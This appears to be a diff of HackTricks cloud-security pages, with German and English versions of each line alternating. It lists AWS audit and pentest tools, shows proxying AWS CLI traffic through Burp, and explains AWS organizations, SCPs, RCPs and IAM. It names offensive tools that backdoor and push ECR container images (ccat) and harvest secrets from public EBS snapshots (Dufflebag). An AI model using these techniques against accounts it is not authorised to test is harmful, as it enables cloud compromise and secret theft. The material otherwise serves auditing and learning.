- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
### Audit
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit von Aqua ist ein Open-Source-Projekt, das entwickelt wurde, um **Sicherheitsrisiken in Cloud-Infrastruktur**-Konten zu erkennen, einschließlich: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) und GitHub (Es sucht nicht nach ShadowAdmins).
- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ist ein Open-Source-Sicherheitswerkzeug zur Durchführung von Bewertungen, Audits, Incident-Response, kontinuierlicher Überwachung, Härtung und forensischer Bereitschaft in Bezug auf AWS-Sicherheitsbest Practices.
- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
```bash
# Install python3, jq and git
# Install
@@ -314,11 +331,15 @@ prowler -v
prowler <provider>
prowler aws --profile custom-profile [-M csv json json-asff html]
```
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox hilft Ihnen, situative Wahrnehmung in unbekannten Cloud-Umgebungen zu erlangen. Es ist ein Open-Source-Befehlszeilenwerkzeug, das entwickelt wurde, um Penetrationstestern und anderen Fachleuten für offensive Sicherheit zu helfen, ausnutzbare Angriffswege in Cloud-Infrastrukturen zu finden.
- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. Its an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
```bash
cloudfox aws --profile [profile-name] all-checks
```
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite ist ein Open-Source-Tool zur Sicherheitsprüfung für mehrere Clouds, das die Bewertung der Sicherheitslage von Cloud-Umgebungen ermöglicht.
- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
```bash
# Install
virtualenv -p python3 venv
@@ -329,16 +350,18 @@ scout --help
# Get info
scout aws -p dev
```
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (verwendet python2.7 und sieht unwartbar aus)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ist ein leistungsstarkes Tool für AWS EC2 / S3 / CloudTrail / CloudWatch / KMS beste Härtungspraktiken (sieht unwartbar aus). Es überprüft nur standardmäßig konfigurierte Anmeldeinformationen im System.
### Ständige Prüfung
- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ist eine Regel-Engine zur Verwaltung öffentlicher Cloud-Konten und -Ressourcen. Es ermöglicht Benutzern, **Richtlinien zu definieren, um eine gut verwaltete Cloud-Infrastruktur** zu ermöglichen, die sowohl sicher als auch kosteneffizient ist. Es konsolidiert viele der Ad-hoc-Skripte, die Organisationen haben, in ein leichtgewichtiges und flexibles Tool mit einheitlichen Metriken und Berichterstattung.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ist eine Plattform für **kontinuierliche Compliance-Überwachung, Compliance-Berichterstattung und Sicherheitsautomatisierung für die Cloud**. In PacBot werden Sicherheits- und Compliance-Richtlinien als Code implementiert. Alle von PacBot entdeckten Ressourcen werden anhand dieser Richtlinien bewertet, um die Konformität mit den Richtlinien zu überprüfen. Das PacBot **Auto-Fix**-Framework bietet die Möglichkeit, automatisch auf Richtlinienverletzungen zu reagieren, indem vordefinierte Maßnahmen ergriffen werden.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ist ein serverloses, **Echtzeit**-Datenanalyse-Framework, das es Ihnen ermöglicht, **Daten aus jeder Umgebung zu erfassen, zu analysieren und zu alarmieren**, **unter Verwendung von Datenquellen und Alarmierungslogik, die Sie definieren**. Computer-Sicherheitsteams verwenden StreamAlert, um täglich Terabytes von Protokolldaten auf Vorfallserkennung und -reaktion zu scannen.
### Constant Audit
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
## DEBUG: Capture AWS cli requests
## DEBUG: AWS CLI-Anfragen erfassen
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -357,9 +380,14 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
## Referenzen
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,95 +1,103 @@
# AWS - Grundinformationen
# AWS - Basic Information
{{#include ../../../banners/hacktricks-training.md}}
## Organisationshierarchie
## Organization Hierarchy
![](<../../../images/image (151).png>)
### Konten
### Accounts
In AWS gibt es ein **Root-Konto**, das der **Elterncontainer für alle Konten** Ihrer **Organisation** ist. Sie müssen jedoch dieses Konto nicht verwenden, um Ressourcen bereitzustellen; Sie können **andere Konten erstellen, um verschiedene AWS**-Infrastrukturen voneinander zu trennen.
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
Dies ist aus **Sicherheits**sicht sehr interessant, da **ein Konto nicht auf Ressourcen eines anderen Kontos zugreifen kann** (es sei denn, es werden speziell Brücken erstellt), sodass Sie auf diese Weise Grenzen zwischen Bereitstellungen schaffen können.
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
Daher gibt es **zwei Arten von Konten in einer Organisation** (wir sprechen von AWS-Konten und nicht von Benutzerkonten): ein einzelnes Konto, das als Verwaltungskonto bezeichnet wird, und ein oder mehrere Mitgliedskonten.
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
- Das **Verwaltungskonto (das Root-Konto)** ist das Konto, das Sie verwenden, um die Organisation zu erstellen. Vom Verwaltungskonto der Organisation aus können Sie Folgendes tun:
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
- Konten in der Organisation erstellen
- Andere bestehende Konten zur Organisation einladen
- Konten aus der Organisation entfernen
- Einladungen verwalten
- Richtlinien auf Entitäten (Wurzeln, OUs oder Konten) innerhalb der Organisation anwenden
- Die Integration mit unterstützten AWS-Diensten aktivieren, um die Dienstfunktionalität über alle Konten in der Organisation bereitzustellen.
- Es ist möglich, sich als Root-Benutzer mit der E-Mail-Adresse und dem Passwort anzumelden, die zur Erstellung dieses Root-Kontos/Organisation verwendet wurden.
- Create accounts in the organization
- Invite other existing accounts to the organization
- Remove accounts from the organization
- Manage invitations
- Apply policies to entities (roots, OUs, or accounts) within the organization
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- It's possible to login as the root user using the email and password used to create this root account/organization.
Das Verwaltungskonto hat die **Verantwortlichkeiten eines Zahlungskontos** und ist verantwortlich für die Bezahlung aller Gebühren, die von den Mitgliedskonten angefallen sind. Sie können das Verwaltungskonto einer Organisation nicht ändern.
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
- **Mitgliedskonten** bilden alle anderen Konten in einer Organisation. Ein Konto kann nur Mitglied einer Organisation zur gleichen Zeit sein. Sie können eine Richtlinie an ein Konto anhängen, um Kontrollen nur auf dieses eine Konto anzuwenden.
- Mitgliedskonten **müssen eine gültige E-Mail-Adresse verwenden** und können einen **Namen** haben; im Allgemeinen werden sie nicht in der Lage sein, die Abrechnung zu verwalten (aber sie könnten Zugang dazu erhalten).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
### **Organisationseinheiten**
Konten können in **Organisationseinheiten (OU)** gruppiert werden. Auf diese Weise können Sie **Richtlinien** für die Organisationseinheit erstellen, die auf **alle untergeordneten Konten angewendet werden**. Beachten Sie, dass eine OU andere OUs als Kinder haben kann.
### **Organization Units**
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
Eine **Service Control Policy (SCP)** ist eine Richtlinie, die die Dienste und Aktionen spezifiziert, die Benutzer und Rollen in den Konten, auf die die SCP Einfluss hat, verwenden können. SCPs sind **ähnlich wie IAM** Berechtigungsrichtlinien, mit dem Unterschied, dass sie **keine Berechtigungen gewähren**. Stattdessen spezifizieren SCPs die **maximalen Berechtigungen** für eine Organisation, eine organisatorische Einheit (OU) oder ein Konto. Wenn Sie eine SCP an die Root-Organisation oder eine OU anhängen, **beschränkt die SCP die Berechtigungen für Entitäten in Mitgliedskonten**.
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
Dies ist der EINZIGE Weg, wie **sogar der Root-Benutzer daran gehindert werden kann**, etwas zu tun. Zum Beispiel könnte es verwendet werden, um Benutzer daran zu hindern, CloudTrail zu deaktivieren oder Backups zu löschen.\
Der einzige Weg, dies zu umgehen, besteht darin, auch das **Master-Konto** zu kompromittieren, das die SCPs konfiguriert (das Master-Konto kann nicht blockiert werden).
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
> [!WARNING]
> Beachten Sie, dass **SCPs nur die Prinzipale im Konto einschränken**, sodass andere Konten nicht betroffen sind. Das bedeutet, dass das Verweigern von `s3:GetObject` in einer SCP nicht verhindert, dass Personen **auf einen öffentlichen S3-Bucket** in Ihrem Konto zugreifen.
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
SCP-Beispiele:
SCP examples:
- Den Root-Account vollständig verweigern
- Nur bestimmte Regionen zulassen
- Nur genehmigte Dienste zulassen
- Verweigern, dass GuardDuty, CloudTrail und S3 Public Block Access deaktiviert werden
- Deny the root account entirely
- Only allow specific regions
- Only allow white-listed services
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
- Verweigern, dass Sicherheits-/Vorfallreaktionsrollen gelöscht oder
being disabled
modifiziert werden.
- Deny security/incident response roles from being deleted or
- Verweigern, dass Backups gelöscht werden.
- Verweigern, dass IAM-Benutzer und Zugriffsschlüssel erstellt werden
modified.
Finden Sie **JSON-Beispiele** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
- Deny backups from being deleted.
- Deny creating IAM users and access keys
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### Resource Control Policy (RCP)
Eine **Resource Control Policy (RCP)** ist eine Richtlinie, die die **maximalen Berechtigungen für Ressourcen innerhalb Ihrer AWS-Organisation** definiert. RCPs sind in der Syntax ähnlich wie IAM-Richtlinien, gewähren jedoch **keine Berechtigungen**—sie begrenzen nur die Berechtigungen, die von anderen Richtlinien auf Ressourcen angewendet werden können. Wenn Sie eine RCP an die Root-Organisation, eine organisatorische Einheit (OU) oder ein Konto anhängen, beschränkt die RCP die Ressourcenberechtigungen für alle Ressourcen im betroffenen Bereich.
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **dont grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
Dies ist der EINZIGE Weg, um sicherzustellen, dass **Ressourcen die vordefinierten Zugriffslevel nicht überschreiten**—selbst wenn eine identitätsbasierte oder ressourcenbasierte Richtlinie zu großzügig ist. Der einzige Weg, diese Grenzen zu umgehen, besteht darin, auch die RCP zu ändern, die von dem Verwaltungskonto Ihrer Organisation konfiguriert wurde.
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organizations management account.
> [!WARNING]
> RCPs beschränken nur die Berechtigungen, die Ressourcen haben können. Sie steuern nicht direkt, was Prinzipale tun können. Wenn beispielsweise eine RCP den externen Zugriff auf einen S3-Bucket verweigert, stellt sie sicher, dass die Berechtigungen des Buckets niemals Aktionen über das festgelegte Limit hinaus zulassen—selbst wenn eine ressourcenbasierte Richtlinie falsch konfiguriert ist.
> RCPs only restrict the permissions that resources can have. They dont directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the buckets permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
RCP-Beispiele:
RCP examples:
- S3-Buckets so einschränken, dass sie nur von Prinzipalen innerhalb Ihrer Organisation zugegriffen werden können
- KMS-Schlüsselverwendung auf nur vertrauenswürdige organisatorische Konten beschränken
- Berechtigungen für SQS-Warteschlangen begrenzen, um unbefugte Änderungen zu verhindern
- Zugriffsgrenzen für Secrets Manager-Geheimnisse durchsetzen, um sensible Daten zu schützen
- Restrict S3 buckets so they can only be accessed by principals within your organization
- Limit KMS key usage to only allow operations from trusted organizational accounts
- Cap permissions on SQS queues to prevent unauthorized modifications
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
Finden Sie Beispiele in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
### ARN
**Amazon Resource Name** ist der **einzigartige Name**, den jede Ressource innerhalb von AWS hat, er setzt sich wie folgt zusammen:
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
Beachten Sie, dass es 4 Partitionen in AWS gibt, aber nur 3 Möglichkeiten, sie zu benennen:
Note that there are 4 partitions in AWS but only 3 ways to call them:
- AWS Standard: `aws`
- AWS China: `aws-cn`
@@ -98,240 +106,246 @@ Beachten Sie, dass es 4 Partitionen in AWS gibt, aber nur 3 Möglichkeiten, sie
## IAM - Identity and Access Management
IAM ist der Dienst, der es Ihnen ermöglicht, **Authentifizierung**, **Autorisierung** und **Zugriffskontrolle** innerhalb Ihres AWS-Kontos zu verwalten.
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
- **Authentifizierung** - Prozess der Definition einer Identität und der Überprüfung dieser Identität. Dieser Prozess kann unterteilt werden in: Identifikation und Verifizierung.
- **Autorisierung** - Bestimmt, auf was eine Identität innerhalb eines Systems zugreifen kann, nachdem sie authentifiziert wurde.
- **Zugriffskontrolle** - Die Methode und der Prozess, wie der Zugriff auf eine sichere Ressource gewährt wird.
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
- **Access Control** - The method and process of how access is granted to a secure resource
IAM kann durch seine Fähigkeit definiert werden, Authentifizierungs-, Autorisierungs- und Zugriffskontrollmechanismen von Identitäten zu Ihren Ressourcen innerhalb Ihres AWS-Kontos zu verwalten, zu steuern und zu regeln.
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
Wenn Sie zum ersten Mal ein Amazon Web Services (AWS) Konto erstellen, beginnen Sie mit einer einzigen Anmeldedaten, die **vollständigen Zugriff auf alle** AWS-Dienste und Ressourcen im Konto hat. Dies ist der _**Root-Benutzer**_ des AWS-Kontos und wird durch die Anmeldung mit der **E-Mail-Adresse und dem Passwort, die Sie zur Erstellung des Kontos verwendet haben**, aufgerufen.
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
Beachten Sie, dass ein neuer **Admin-Benutzer** **weniger Berechtigungen als der Root-Benutzer** hat.
Note that a new **admin user** will have **less permissions that the root user**.
Aus sicherheitstechnischer Sicht wird empfohlen, andere Benutzer zu erstellen und diesen zu vermeiden.
From a security point of view, it's recommended to create other users and avoid using this one.
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
Ein IAM _Benutzer_ ist eine Entität, die Sie in AWS erstellen, um **die Person oder Anwendung** zu **repräsentieren, die damit interagiert**. Ein Benutzer in AWS besteht aus einem Namen und Anmeldeinformationen (Passwort und bis zu zwei Zugriffsschlüssel).
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
Wenn Sie einen IAM-Benutzer erstellen, gewähren Sie ihm **Berechtigungen**, indem Sie ihn zu einer **Gruppe von Benutzern** machen, die über geeignete Berechtigungspolicen verfügt (empfohlen), oder indem Sie **Richtlinien direkt** an den Benutzer anhängen.
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
Benutzer können **MFA aktivieren, um sich** über die Konsole anzumelden. API-Token von MFA-aktivierten Benutzern sind nicht durch MFA geschützt. Wenn Sie den **Zugriff auf die API-Schlüssel eines Benutzers mithilfe von MFA einschränken** möchten, müssen Sie in der Richtlinie angeben, dass MFA erforderlich ist, um bestimmte Aktionen auszuführen (Beispiel [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
- **Access Key ID**: 20 zufällige Großbuchstaben-Zahlenkombinationen wie AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 zufällige Groß- und Kleinbuchstaben: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Es ist nicht möglich, verlorene Secret Access Key IDs wiederherzustellen).
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
Wann immer Sie den **Access Key** **ändern** müssen, sollten Sie diesen Prozess befolgen:\
_Einen neuen Zugriffsschlüssel erstellen -> Den neuen Schlüssel auf das System/die Anwendung anwenden -> Den ursprünglichen als inaktiv markieren -> Testen und überprüfen, ob der neue Zugriffsschlüssel funktioniert -> Alten Zugriffsschlüssel löschen_
Whenever you need to **change the Access Key** this is the process you should follow:\
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
### MFA - Multi Factor Authentication
Es wird verwendet, um **einen zusätzlichen Faktor für die Authentifizierung** zusätzlich zu Ihren bestehenden Methoden, wie Passwort, zu erstellen und somit ein mehrstufiges Authentifizierungsniveau zu schaffen.\
Sie können eine **kostenlose virtuelle Anwendung oder ein physisches Gerät** verwenden. Sie können Apps wie Google Authenticator kostenlos verwenden, um MFA in AWS zu aktivieren.
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
Richtlinien mit MFA-Bedingungen können an Folgendes angehängt werden:
Policies with MFA conditions can be attached to the following:
- Ein IAM-Benutzer oder eine Gruppe
- Eine Ressource wie einen Amazon S3-Bucket, eine Amazon SQS-Warteschlange oder ein Amazon SNS-Thema
- Die Vertrauensrichtlinie einer IAM-Rolle, die von einem Benutzer übernommen werden kann
- An IAM user or group
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
- The trust policy of an IAM role that can be assumed by a user
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
Note that **`AssumeRole` credentials don't contain this information**.
Wenn Sie über die CLI auf eine Ressource zugreifen möchten, die **MFA überprüft**, müssen Sie **`GetSessionToken`** aufrufen. Das gibt Ihnen ein Token mit Informationen über MFA.\
Beachten Sie, dass **`AssumeRole`-Anmeldeinformationen diese Informationen nicht enthalten**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
```
Wie [**hier angegeben**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), gibt es viele verschiedene Fälle, in denen **MFA nicht verwendet werden kann**.
### [IAM-Benutzergruppen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
Eine IAM [Benutzergruppe](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) ist eine Möglichkeit, **Richtlinien gleichzeitig mehreren Benutzern zuzuordnen**, was die Verwaltung der Berechtigungen für diese Benutzer erleichtern kann. **Rollen und Gruppen können kein Teil einer Gruppe sein**.
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
Sie können eine **identitätsbasierte Richtlinie an eine Benutzergruppe anhängen**, sodass alle **Benutzer** in der Benutzergruppe **die Berechtigungen der Richtlinie erhalten**. Sie **können** eine **Benutzergruppe** nicht als **`Principal`** in einer **Richtlinie** (wie einer ressourcenbasierten Richtlinie) identifizieren, da Gruppen sich auf Berechtigungen beziehen, nicht auf Authentifizierung, und Principals authentifizierte IAM-Entitäten sind.
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
Hier sind einige wichtige Merkmale von Benutzergruppen:
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
- Eine Benutzer **gruppe** kann **viele Benutzer enthalten**, und ein **Benutzer** kann **zu mehreren Gruppen gehören**.
- **Benutzergruppen können nicht geschachtelt** werden; sie können nur Benutzer enthalten, keine anderen Benutzergruppen.
- Es gibt **keine Standardbenutzergruppe, die automatisch alle Benutzer im AWS-Konto einschließt**. Wenn Sie eine solche Benutzergruppe haben möchten, müssen Sie sie erstellen und jeden neuen Benutzer zuweisen.
- Die Anzahl und Größe der IAM-Ressourcen in einem AWS-Konto, wie die Anzahl der Gruppen und die Anzahl der Gruppen, denen ein Benutzer angehören kann, sind begrenzt. Weitere Informationen finden Sie in den [IAM- und AWS STS-Quoten](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
Here are some important characteristics of user groups:
### [IAM-Rollen](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
- **User groups can't be nested**; they can contain only users, not other user groups.
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
Eine IAM **Rolle** ist sehr **ähnlich** zu einem **Benutzer**, da sie eine **Identität mit Berechtigungspolitiken ist, die bestimmen, was** sie in AWS tun kann und was nicht. Eine Rolle **hat jedoch keine Anmeldeinformationen** (Passwort oder Zugriffsschlüssel), die mit ihr verbunden sind. Anstatt eindeutig mit einer Person verbunden zu sein, ist eine Rolle dazu gedacht, **von jedem übernommen zu werden, der sie benötigt (und genügend Berechtigungen hat)**. Ein **IAM-Benutzer kann eine Rolle übernehmen, um vorübergehend** andere Berechtigungen für eine bestimmte Aufgabe zu übernehmen. Eine Rolle kann einem **[federierten Benutzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)** zugewiesen werden, der sich über einen externen Identitätsanbieter anstelle von IAM anmeldet.
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
Eine IAM-Rolle besteht aus **zwei Arten von Richtlinien**: einer **Vertrauensrichtlinie**, die nicht leer sein kann und definiert, **wer die Rolle übernehmen kann**, und einer **Berechtigungsrichtlinie**, die nicht leer sein kann und definiert, **auf was sie zugreifen kann**.
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
#### AWS Security Token Service (STS)
AWS Security Token Service (STS) ist ein Webdienst, der die **Ausstellung von temporären, eingeschränkten Anmeldeinformationen** erleichtert. Er ist speziell auf folgende Aspekte zugeschnitten:
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
### [Temporäre Anmeldeinformationen in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**Temporäre Anmeldeinformationen werden hauptsächlich mit IAM-Rollen verwendet**, es gibt jedoch auch andere Verwendungen. Sie können temporäre Anmeldeinformationen anfordern, die einen eingeschränkteren Satz von Berechtigungen haben als Ihr standardmäßiger IAM-Benutzer. Dies **verhindert**, dass Sie **versehentlich Aufgaben ausführen, die nicht erlaubt sind** durch die eingeschränkten Anmeldeinformationen. Ein Vorteil von temporären Anmeldeinformationen ist, dass sie automatisch nach einer festgelegten Zeitspanne ablaufen. Sie haben die Kontrolle über die Dauer, für die die Anmeldeinformationen gültig sind.
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
### Richtlinien
### Policies
#### Richtlinienberechtigungen
#### Policy Permissions
Werden verwendet, um Berechtigungen zuzuweisen. Es gibt 2 Arten:
Are used to assign permissions. There are 2 types:
